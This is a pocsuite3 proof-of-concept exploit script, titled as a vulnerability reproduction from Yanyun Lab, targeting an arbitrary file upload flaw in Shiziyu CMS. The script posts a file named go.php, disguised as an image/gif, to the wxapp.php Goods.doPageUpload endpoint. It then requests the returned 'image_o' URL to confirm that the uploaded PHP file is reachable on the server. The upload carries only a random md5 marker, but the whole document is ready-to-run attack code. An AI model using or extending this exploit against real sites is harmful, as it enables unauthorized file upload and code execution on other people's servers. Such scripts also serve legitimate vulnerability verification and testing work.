【漏洞复现】狮子鱼CMS任意文件上传漏洞——燕云实验室

#!/usr/bin/env python
# coding: utf-8
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE    
import hashlib
import random
import string


class TestPOC(POCBase):
    vulID = '67'
    version = '1'
    author = 'zhzyker'
    vulDate = '2015-06-14'
    createDate = '2021-06-14'
    updateDate = '2021-06-14'
    references = ['https://github.com/zhzyker/vulmap']
    name = 'shiziyu CMS wxapp.php arbitrary file upload vulnerability'
    appName = 'Shiziyu CMS'
    appVersion = 'unknow'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
        shiziyu CMS wxapp.php arbitrary file upload vulnerability
    '''


    def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
            ports = [pr.port]
        else:
            ports = [8080]
        for port in ports:
            target = '{}://{}:{}'.format(pr.scheme, pr.hostname, port)
            TIMEOUT = 10
            st = ''.join(random.choices(string.ascii_letters+string.digits, k=8))
            md = hashlib.md5("".join(st).encode('utf-8')).hexdigest()
            headers = {
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
                'Content-Type': 'multipart/form-data; boundary=----7d33a816d302b6',
            }
            data = '------7d33a816d302b6\n'
            data += 'Content-Disposition: form-data; name="upfile"; filename="go.php"\n'
            data += 'Content-Type: image/gif\n\n'
            data += md
            data += '\n\n------7d33a816d302b6--'
                
            try:
                self.request = req.post(self.url+"/wxapp.php?controller=Goods.doPageUpload", data=data, headers=headers, timeout=TIMEOUT, verify=False)
                #print(self.request.status_code)
                resp = self.request.json()
                shell_url = resp.get('image_o')
                #print(shell_url)
                self.request = req.get(shell_url, headers=headers, timeout=TIMEOUT, verify=False)
                if md in self.request.text and self.request.status_code == 200:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = self.url
                    result['VerifyInfo']['UPLOAD'] = shell_url
                    break
            except:
                pass
        return self.parse_output(result)


    def _attack(self):
        return self._verify()


    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output


register_poc(TestPOC)